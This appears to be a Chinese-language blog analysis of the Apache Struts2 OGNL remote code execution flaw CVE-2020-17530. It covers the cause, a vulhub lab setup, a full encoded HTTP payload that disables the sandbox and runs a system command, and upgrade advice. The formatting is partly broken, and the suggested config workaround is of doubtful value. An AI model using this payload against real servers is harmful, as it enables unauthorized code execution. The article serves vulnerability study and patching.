# 淺談Apache Struts2 RCE漏洞CVE-2020-17530
## 一、漏洞背景
Apache Struts2作為廣泛使用的Java Web應用框架,歷史上曾多次曝出高危漏洞。2020年12月,Struts2官方發布安全公告(S2-061),披露了一個新的遠程代碼執行漏洞(CVE-2020-17530),該漏洞影響Struts 2.0.0至2.5.25版本,攻擊者可通過構造惡意OGNL表達式實現服務器端任意代碼執行。
## 二、漏洞原理分析
### 1. 漏洞成因
該漏洞是CVE-2019-0230的繞過補丁不完善導致,核心問題仍在于Struts2框架對OGNL(Object-Graph Navigation Language)表達式的雙重解析機制:
- **雙重評估機制**:當標簽屬性(如`id`)同時使用`%{...}`語法和強制OGNL解析時,表達式會被二次解析
- **安全沙箱繞過**:攻擊者通過特定語法構造可以繞過Struts2內置的OGNL沙箱防護
### 2. 技術細節
漏洞觸發需要同時滿足兩個條件:
1. 使用`altSyntax`功能(默認啟用)
2. 標簽屬性同時包含`%{...}`和強制OGNL解析字符
典型攻擊向量示例:
```java
%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0)}
git clone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-061
docker-compose up -d
通過BurpSuite發送惡意請求:
POST /index.action HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22id%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D
升級到Struts 2.5.26或更高版本:
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.5.26</version>
</dependency>
若無法立即升級,可采?。?- 禁用OGNL表達式執行
<constant name="struts.ognl.allowStaticMethodAccess" value="false"/>
CVE-2020-17530再次暴露了OGNL表達式注入這類”經典”漏洞的持久威脅。開發者應當: - 避免直接使用用戶輸入構建OGNL表達式 - 理解框架安全機制的實際防護邊界 - 建立漏洞應急響應流程
”`
注:本文僅作技術研究用途,實際測試需獲得系統所有者授權。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。